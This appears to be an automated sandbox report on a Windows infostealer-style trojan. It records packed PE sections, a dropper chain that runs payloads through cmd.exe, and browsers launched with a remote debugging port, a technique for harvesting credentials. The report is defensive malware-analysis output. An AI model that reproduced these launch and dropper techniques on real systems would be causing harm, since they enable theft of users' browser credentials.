Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB820	0_2_6CADB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4820	0_2_6CAE4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7810	0_2_6CAA7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF070	0_2_6CADF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8850	0_2_6CAB8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD850	0_2_6CABD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C9A0	0_2_6CA9C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD9B0	0_2_6CACD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5190	0_2_6CAD5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF2990	0_2_6CAF2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B170	0_2_6CB0B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD960	0_2_6CAAD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB970	0_2_6CAEB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA940	0_2_6CABA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB02AB0	0_2_6CB02AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA922A0	0_2_6CA922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4AA0	0_2_6CAC4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAACAB0	0_2_6CAACAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0BA90	0_2_6CB0BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB1AF0	0_2_6CAB1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADE2F0	0_2_6CADE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8AC0	0_2_6CAD8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9A60	0_2_6CAD9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F380	0_2_6CA9F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB053C8	0_2_6CB053C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD320	0_2_6CADD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC370	0_2_6CAAC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95340	0_2_6CA95340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A5E530	24_2_00A5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A978BB	24_2_00A978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A98860	24_2_00A98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A97049	24_2_00A97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A931A8	24_2_00A931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A54DE0	24_2_00A54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A92D10	24_2_00A92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A9779B	24_2_00A9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A54B30	24_2_00A54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A87F36	24_2_00A87F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CACCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAD94D0 appears 90 times

Source: 661a734a92.exe.24.dr	Static PE information: Data appended to the last section found
Source: random[1].exe0.24.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2754437015.000000006CD15000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: qdtoojti ZLIB complexity 0.994729262672811
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: random[1].exe.0.dr	Static PE information: Section: mqhmzwsw ZLIB complexity 0.9945739531433178
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: Section: mqhmzwsw ZLIB complexity 0.9945739531433178
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: skotes.exe.21.dr	Static PE information: Section: mqhmzwsw ZLIB complexity 0.9945739531433178
Source: random[1].exe.24.dr	Static PE information: Section: ajfpzkcv ZLIB complexity 0.9948419992997198
Source: 11d5b5931e.exe.24.dr	Static PE information: Section: ajfpzkcv ZLIB complexity 0.9948419992997198
Source: random[1].exe0.24.dr	Static PE information: Section: ZLIB complexity 0.9981890328322784
Source: random[1].exe0.24.dr	Static PE information: Section: wbetjsfk ZLIB complexity 0.9952716943458418
Source: 661a734a92.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9981890328322784
Source: 661a734a92.exe.24.dr	Static PE information: Section: wbetjsfk ZLIB complexity 0.9952716943458418

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@77/299@29/31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAF7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\5V66DJHA.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9068:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\2df5570d-c661-4477-b599-6caf12c6730b.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2443893552.000000001D025000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523949175.000000001D019000.00000004.00000020.00020000.00000000.sdmp, FBGIDHCAAKEBAKFIIIEB.0.dr, CGIJJKEHCAKEGCAKJKEC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2752446942.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 28%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJEGDGIIJJE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 11d5b5931e.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1936,i,5678417622379381974,11452334284669709158,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2124,i,551240396681712199,14701134259884570719,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6856 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7024 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEGDGIIJJE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEGDGIIJJE.exe "C:\Users\user\DocumentsJEGDGIIJJE.exe"
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5680 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe "C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEGDGIIJJE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1936,i,5678417622379381974,11452334284669709158,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2124,i,551240396681712199,14701134259884570719,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6856 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7024 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5680 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEGDGIIJJE.exe "C:\Users\user\DocumentsJEGDGIIJJE.exe"
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe "C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
